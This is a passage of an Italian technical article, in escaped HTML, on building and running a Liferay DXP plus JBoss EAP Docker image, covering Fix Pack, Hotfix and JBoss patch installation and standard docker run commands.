ultime Fix Pack, Hot Fix o Security Fix rilasciate da Liferay. L&amp;#x27;applicazione
delle fix può essere anche eseguita successivamente alla creazione dell&amp;#x27;immagine,
per esempio, nel momento i cui sia creato un container Liferay.&lt;/p&gt;&lt;h3 id=&quot;53-installazione-liferay-fix-pack&quot;&gt;5.3. Installazione Liferay Fix Pack&lt;/h3&gt;&lt;p&gt;In fase di creazione dell&amp;#x27;immagine è possibile applicare le Fix Pack rilasciate
da Liferay. Prima di poter installare la Fix Pack è essenziale aver installato
il Patching Tool (vedi 5.2. Installazione Patching Tool).&lt;/p&gt;&lt;p&gt;Nota: Quando si decide d&amp;#x27;installare una Fix Pack è fondamentale accertarsi che
la versione del Patching Tool installata sia compatibile con la Fix Pack che si
vuole installare. Quest&amp;#x27;informazione è riportata sulla sezione di download della
Fix Pack stessa.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:825px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/d4c13/fix-pack-requirements.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:51.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;206\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20206\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M63%20144l1%202c3%201%20174%200%20173-1%200-2-173-2-174-1m279%2018v8l1%207h46v-14l-1-2h-23l-23%201m-188%2029c-1%202%201%204%207%204%204%200%205-1%205-2h1l11%201c10%201%2012%200%2013-2%200-3-2-2-2%200h-1c0-2-11-2-14-1h-2c0-1-1-1-2%201h-1l-2-2-2%202h-1c-1-2-9-2-10-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/c85cb/fix-pack-requirements.webp 300w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/e88ff/fix-pack-requirements.webp 600w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/0244e/fix-pack-requirements.webp 825w&quot; sizes=&quot;(max-width: 825px) 100vw, 825px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/5a46d/fix-pack-requirements.png 300w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/0a47e/fix-pack-requirements.png 600w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/d4c13/fix-pack-requirements.png 825w&quot; sizes=&quot;(max-width: 825px) 100vw, 825px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 10 - Requisiti Patching Tool per l&amp;#x27;installazione della Fix Pack&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/d4c13/fix-pack-requirements.png&quot; title=&quot;Figura 10 - Requisiti Patching Tool per l&amp;#x27;installazione della Fix Pack&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 10 - Requisiti Patching Tool per l&amp;#x27;installazione della Fix Pack&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Per attivare l&amp;#x27;installazione della Fix Pack in fase di creazione dell&amp;#x27;immagine,
è necessario scaricare la Fix Pack dal Customer Portal di Liferay e posizionare
il file zip all&amp;#x27;interno della directory contenente il resto dei bundle indicati
in Tabella 1.&lt;/p&gt;&lt;p&gt;La figura a seguire mostra l&amp;#x27;avvio dell&amp;#x27;installazione della Fix Pack subito dopo
l&amp;#x27;installazione del Patching Tool, e in questo caso si tratta della Fix Pack
&lt;strong&gt;liferay-fix-pack-dxp-8-7210.zip&lt;/strong&gt; sulla versione di Liferay 7.2 DXP SP 2.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/b41cb/fix-pack-installation-when-build-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;134\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20134\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2067v67h38c37%200%2038%200%2038-2l1-2v2c0%202%200%202%20162%202h162V0H0v67m0%201v67l2-3c2-2%202-3%201-3-2%200-2-2-2-8s0-8%201-7h2c1%202%205%202%205%201l-4-3c-4%200-4%200-4-4%200-5%200-5%2013-4l6-1c0-2%200-2-3-2H1v-5l1-4h3l9%201c7%200%208-1%208-3H6l-3-1-2-2%204-1c5%201%205-2%200-2-6-1-5-3%201-3l6-2c0-1-7-2-8%200v-1l-1-1c-2%201-2%200-2-5%200-3%200-5%201-4%201%202%204%201%204-1%200-1%200-2-1-1v1c0%202-1%201-3%200-1-2-1-4%201-3l1-2h1l12%201-2-2-1%201c-2-2-7-2-7-1H6l-3-1c-1%201-2%200-2-1s1-2%203-1l4-1c1-2%201-2-3-2-5%200-6-3-1-3h18v-2l-3-1H1v-4c0-4%200-5%203-5l7-1%201-1%201%201%204%201a1697%201697%200%200110-1c0-1-4-2-12-2a52%2052%200%2001-13%200l-1-2%203-1h3c2%201%205%201%205-1s-9-2-10%200l-1-2c0-2%201-2%205-2l2-1h7l3%201%203-1%201-1%201%202h1l1-3c-1-1-17%200-18%201H6l-1-2c-4%201-4%200-4-12L0%2068M49%204c0%202%201%202%209%202l9-1h1c1%201%201%201%202-1h1c0%202%2011%202%2012%200h1l2%202%202-2c0-2%200-2-1-1%200%202-2%203-2%201l-1-2-2%201-1%201V3l-1-1-1%201h-4c0-2-2-1-2%201h-1c0-3-23-3-23%200m59-1c-2%200-3%201-3%202l10%201h10c2-2%204-2%204-1s11%201%2012-1h1c1%202%209%203%209%202l1-3h-6c-1-1-1-1-1%201h-1l-2-2-3%202h-1c0-2-13-2-17-1h-13M50%2013v2c-1%202%200%202%208%202l9-1h4c0%202%2011%202%2012%200l1-1c0%203%204%203%204%200%200-1%200-2-1-1v1l-1%201-1-1c0-2-3-3-3-1h-2c-1-1-1-1-1%201h-1l-2-1h-1c0-2-2-1-2%201h-1l-22-2m-1%207h-6l-7%201c0%202%209%203%2010%202l2-1h1l9%201%209-1h4c0%202%2011%201%2012-1h1c0%202%201%202%208%202h10l1%201c0-4-12-6-14-3h-1c0-1%200-2-1-1v1l-1%201-1-1c0-2-3-3-3-1h-3c0%202%200%202-1%201h-2l-1-1c0-2-2-1-2%201h-1c-1-2-23-3-23-1m192%2011l-11%201-11%201-1-1h-6l-9%201c0%201%2025%202%2031%201h3l2%201c2%200%204-4%203-5l-1%201m10%200c0%201-1%202-4%201s-4%200-4%201%201%202%205%202l4-1%201-2%201%201%202%202%202-1h32c4-1%202-2-2-2-29-1-32%200-32%201h-1c0-2-3-3-4-2M76%2056c0%202%200%202%206%202l6-2h1c0%202%2022%202%2025%201h15c1%201%201%201%201-1%201-2%200-2-5-2l-6%201H98l-6-1-5%201h-4l-5%201h-1c-1-2-1-2-1%200m1%205h-2l-12-1c-10%200-11%201-11%202%200%202%2010%202%2013%201h13a64%2064%200%200021%200c2%201%209%201%2010-1%200-1%201-1%202%201%201%201%201%201%201-1s-3-3-4-1h-1l-4-1h-4c0-1-1-1-1%201H84l-6-1-1%201m121%2018c-1%202%200%202%2010%202l10-1h1c1%202%2012%201%2012-1h1c1%202%205%203%205%201h8l2%201h1l4-1h1c0%202%205%202%205%200h1c1%201%2013%202%2015%201%203-2%202-3-2-3h-4c-1-1-1-1-1%201h-1c-1-2-15-2-15%200h-1c-1-1-12-2-13-1h-1c-1-1-1-1-1%201h-1c-1-2-4-3-4-1h-7c0-1-7-1-7%201h-1l-1-2v2h-1c0-3-15-3-15%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/c85cb/fix-pack-installation-when-build-image.webp 300w,/static/17f66a173df1dd63a732cd09e8b71fc3/e88ff/fix-pack-installation-when-build-image.webp 600w,/static/17f66a173df1dd63a732cd09e8b71fc3/92f8c/fix-pack-installation-when-build-image.webp 1200w,/static/17f66a173df1dd63a732cd09e8b71fc3/e0991/fix-pack-installation-when-build-image.webp 1661w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/5a46d/fix-pack-installation-when-build-image.png 300w,/static/17f66a173df1dd63a732cd09e8b71fc3/0a47e/fix-pack-installation-when-build-image.png 600w,/static/17f66a173df1dd63a732cd09e8b71fc3/c1b63/fix-pack-installation-when-build-image.png 1200w,/static/17f66a173df1dd63a732cd09e8b71fc3/b41cb/fix-pack-installation-when-build-image.png 1661w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 11 - Installazione Fix Pack durante la creazione dell&amp;#x27;immagine Docker Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/17f66a173df1dd63a732cd09e8b71fc3/c1b63/fix-pack-installation-when-build-image.png&quot; title=&quot;Figura 11 - Installazione Fix Pack durante la creazione dell&amp;#x27;immagine Docker Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 11 - Installazione Fix Pack durante la creazione dell&amp;#x27;immagine Docker Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;54-installazione-liferay-hotfix-e-security-fix-pack&quot;&gt;5.4. Installazione Liferay Hotfix e Security Fix Pack&lt;/h3&gt;&lt;p&gt;Così come per l&amp;#x27;installazione della Fix Pack, anche Hotfix e Security Fix Pack
seguono la stessa procedura d&amp;#x27;installazione. Per attivare l&amp;#x27;installazione in fase
di creazione dell&amp;#x27;immagine, è necessario scaricare i relativi file zip dal Customer
Portal di Liferay e posizionarli all&amp;#x27;interno della directory contenente il resto
dei bundle indicati in Tabella 1.&lt;/p&gt;&lt;h3 id=&quot;55-installazione-patch-di-jboss-eap&quot;&gt;5.5. Installazione Patch di JBoss EAP&lt;/h3&gt;&lt;p&gt;Così come avviene per Liferay, anche per JBoss EAP nel processo di creazione
dell&amp;#x27;immagine Docker, se presente il file zip della patch, questa sarà applicata.
La figura a seguire mostra l&amp;#x27;applicazione della patch durante il processo di build.
In questo caso è stata applicata la patch 7.2.9, questo comporta che la nuova
versione di JBoss EAP sarà la 7.2.9.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/fbf76/jboss-eap-patch-installing-when-build-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:38.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;154\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20154\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2077v77h401V0H150l1%202c0%202%200%202%201%201%201-2%203-2%203%200%200%203-5%202-6-1l-1-2v2c1%202%200%203-1%203l-1-2c1-4%200-4-2%200l-1%203V3l1-3h-13l-13%201h3c2%200%202%200%202%202l-1%203-1-1h-6c-1%201-4-1-4-3l-1%201c-1%202-8%203-8%201H84c0%201-1%201-2-1l-1-2v2c-1%203-5%203-5%200l1-3H64C52%200%2052%200%2052%202s0%202%201%201c0-2%209-2%209%200l-2%202-3-1h-1c-3%203-8%201-9-2%200-2-1-2-10-2L27%201h5c4%200%206%202%204%204%200%201-1%201-2-1h-2c-1%201-4%201-5-1h-1c0%201-1%202-3%202l-4-1h-1c-2%202-3%201-3-1%200-1%201-2%203-2l2%202h1c2-2%202-2%203-1%201%202%201%202%201%200%201-2%201-2-12-2H0v77M77%208l-1%202c0%203%204%203%205%200V8l1%202c1%202%201%202%202%201l1-2v2h22l2%201%201-2c0-1-2-2-13-2H85c-3-1-5-1-6%201v3l-1-3-1-1m130%207v2l1%201%205%201c4%200%205-1%205-2h1c0%202%2013%202%2013%200h1c0%202%204%202%205%201h1l1%201%201-2c0-2-5-2-6%200%200%201-1%201-1-1l-2-2c-2%202-10%202-12%201s-2-1-3%201l-1%202v-2c-1-2-3-3-3%200h-1c0-2-2-3-2%200h-1v-1l-1-1-1%201m10%20120c0%202%200%202-2%200h-5l-1%201v-1l-1-1-1%202c0%202-2%201-2-1-1-1-1-1-1%201l1%202c12%201%2012%201%2013-1l1-1c0%202%201%202%206%202%206%200%207%200%207-2h1c0%202%203%203%205%202h1l1%201%201-3c0-1-6-2-6%200h-1c0-2-3-3-4-1-1%201-9%200-11-1-1-1-1-1-2%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/c85cb/jboss-eap-patch-installing-when-build-image.webp 300w,/static/4cfa239c8eb315ad02e7288f178a39d2/e88ff/jboss-eap-patch-installing-when-build-image.webp 600w,/static/4cfa239c8eb315ad02e7288f178a39d2/92f8c/jboss-eap-patch-installing-when-build-image.webp 1200w,/static/4cfa239c8eb315ad02e7288f178a39d2/5733b/jboss-eap-patch-installing-when-build-image.webp 1252w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/5a46d/jboss-eap-patch-installing-when-build-image.png 300w,/static/4cfa239c8eb315ad02e7288f178a39d2/0a47e/jboss-eap-patch-installing-when-build-image.png 600w,/static/4cfa239c8eb315ad02e7288f178a39d2/c1b63/jboss-eap-patch-installing-when-build-image.png 1200w,/static/4cfa239c8eb315ad02e7288f178a39d2/fbf76/jboss-eap-patch-installing-when-build-image.png 1252w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 12 - Applicazione della Patch su JBoss EAP 7.2.0 durante il processo di build dell&amp;#x27;immagine&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4cfa239c8eb315ad02e7288f178a39d2/c1b63/jboss-eap-patch-installing-when-build-image.png&quot; title=&quot;Figura 12 - Applicazione della Patch su JBoss EAP 7.2.0 durante il processo di build dell&amp;#x27;immagine&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 12 - Applicazione della Patch su JBoss EAP 7.2.0 durante il processo di build dell&amp;#x27;immagine&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Quando l&amp;#x27;istanza di Liferay è su, è possibile verificare la versione di JBoss EAP
dai log stessi dell&amp;#x27;application server oppure utilizzando i comandi &lt;strong&gt;version&lt;/strong&gt; e
&lt;strong&gt;patch info&lt;/strong&gt; direttamente dalla CLI di JBoss EAP. La figura a seguire mostra il
controllo della versione di JBoss EAP, che dopo l&amp;#x27;applicazione della patch è
passata dalla 7.2.0 alla 7.2.9.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/0b569/check-jboss-eap-version-and-patch-info.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;176\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20176\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2088v88h401V0H0v88m0%201l1%2078c0-10%201-10%203-10l2-1h1c1%201%205%201%205-1l-2-2-1%201H6l-1-1-3-1c-1%201-1%200-1-1s0-2%201-1l2-2c0-2-1-3-2-3-1%201-1%200-1-3%200-2%200-3%201-2%200%203%202%203%202%200h1l2%202%201-2c-1-1-1-2-5-2-2%200-2-1-2-10%200-6%200-9%201-8l3-1h1l1%201c3-2%201-4-2-4-4%201-4%201-4-2s0-3%204-2c2%200%203%200%203-2%200-1-1-2-3-2l-4%201V95c0-11%200-13%202-13l1-2-1-3v2l-1%202c-2%200-1-6%201-8h4c1-2%200-2-3-2-4-1-4-5%201-4l3-1-1-2-2-1-3-1c-1%201-1%200-1-1l1-2h7c3%201%205%201%206-2%200-2-1-3-4%200h-1c1-1%200-2-3-2-4%200-5%201-4%202l-1%201-1-3c0-3%200-3%207-3l3-1%201-1%201%201%201%201%201-2c0-1-1-2-3-2l-3%201H8c-1-2-6-2-5%200l-1%202-1-11c0-10%200-11%202-11%201%200%202%200%202-2s-1-3-3-1c-1%201-1%200-1-3%200-2%200-4%201-3%200%203%202%202%202%200%201-1%200-2-1-2-2-1-3-4-1-4%202%201%202%200%202-3l-1-1c-2%201-2%200-2-3%200-4%200-4%201-2%201%203%202%202%201-1L1%202C0%201%200%2014%200%2089\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/c85cb/check-jboss-eap-version-and-patch-info.webp 300w,/static/e7d65b971c5c992cddb9228a0fd3dc63/e88ff/check-jboss-eap-version-and-patch-info.webp 600w,/static/e7d65b971c5c992cddb9228a0fd3dc63/92f8c/check-jboss-eap-version-and-patch-info.webp 1200w,/static/e7d65b971c5c992cddb9228a0fd3dc63/62ed8/check-jboss-eap-version-and-patch-info.webp 1800w,/static/e7d65b971c5c992cddb9228a0fd3dc63/46261/check-jboss-eap-version-and-patch-info.webp 2400w,/static/e7d65b971c5c992cddb9228a0fd3dc63/3938d/check-jboss-eap-version-and-patch-info.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/5a46d/check-jboss-eap-version-and-patch-info.png 300w,/static/e7d65b971c5c992cddb9228a0fd3dc63/0a47e/check-jboss-eap-version-and-patch-info.png 600w,/static/e7d65b971c5c992cddb9228a0fd3dc63/c1b63/check-jboss-eap-version-and-patch-info.png 1200w,/static/e7d65b971c5c992cddb9228a0fd3dc63/d61c2/check-jboss-eap-version-and-patch-info.png 1800w,/static/e7d65b971c5c992cddb9228a0fd3dc63/97a96/check-jboss-eap-version-and-patch-info.png 2400w,/static/e7d65b971c5c992cddb9228a0fd3dc63/0b569/check-jboss-eap-version-and-patch-info.png 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 13 - Verifica della versione e livello di patching di JBoss EAP&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/e7d65b971c5c992cddb9228a0fd3dc63/c1b63/check-jboss-eap-version-and-patch-info.png&quot; title=&quot;Figura 13 - Verifica della versione e livello di patching di JBoss EAP&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 13 - Verifica della versione e livello di patching di JBoss EAP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;6-eseguire-limmagine-docker-liferay-dxp--jboss-eap&quot;&gt;6. Eseguire l&amp;#x27;immagine Docker Liferay DXP + JBoss EAP&lt;/h2&gt;&lt;p&gt;Per avviare la nuova immagine Docker di Liferay, è possibile utilizzare i comandi
standard di Docker. In Console 3 sono mostrati alcuni dei comandi standard per
avviare la nuova immagine.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Avvio dell&amp;#x27;immagine amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 in modalità interattiva esponendo la porta HTTP 8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -it -p 8080:8080 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Avvio dell&amp;#x27;immagine amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 in modalità detached esponendo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# le porte 8000 (DEBUG), 8080 (HTTP) e 11311 (Gogo Shell)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Avvio dell&amp;#x27;immagine amusarra/liferay-dxp:liferay72-dxp-dev in modalità detached esponendo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# le porte 8000 (DEBUG), 8080 (HTTP) e 11311 (Gogo Shell) e assegnando un nome al container&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker run -d --name liferay72jboss -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra:liferay-dxp-7.2.10-sp3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Comandi standard Docker per avviare l&amp;#x27;immagine Docker Liferay&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Quando l&amp;#x27;immagine viene avviata è possibile vedere le seguenti informazioni che
sono mostrate nel dettaglio dalla figura a seguire:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;come ottenere la console del container appena creato;&lt;/li&gt;&lt;li&gt;la versione di JAVA utilizzata per avviare Liferay;&lt;/li&gt;&lt;li&gt;la situazione sul file system sul quale è possibile agire attraverso l&amp;#x27;uso del Docker Volume.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/0b569/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:48.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;193\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20193\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2096v97h401V0H272C158%200%20143%200%20144%201c4%205%204%205-59%205H25l1%203-1%202-1-2V6H3v3L1%206C0%201%200%2016%200%2096m0%201a3215%203215%200%20003%2085l2%201h2c3-1%203-4%200-4-7%203-6%205-6-25v-27h4l4-1-1-2-1%201-1%201c-1-2-4-2-4-1v1l-1-13%201-14%202-1-1-1c-2%200-2-1-2-7%200-7%200-8%202-8h7l1%201%201-1c0-2-1-2-5-2-6%200-6%200-6-3%200-2%200-2%201-1h1l-1-2-1-9c0-10%200-10%203-10%201%200%202%200%202-2s0-2-1%200H4l-1-1c-2%201-2%200-2-6%200-7%200-8%202-8h3c1-1%200-2-2-2H2L1%2019%200%2097\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/c85cb/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 300w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/e88ff/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 600w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/92f8c/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 1200w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/62ed8/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 1800w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/46261/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 2400w,/static/ea5f301f97bd7d0d3f46cb1bdff5dd5d/3938d/firsr-run-of-the-liferay-dxp-jboss-eap-docker-image.webp 2878w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
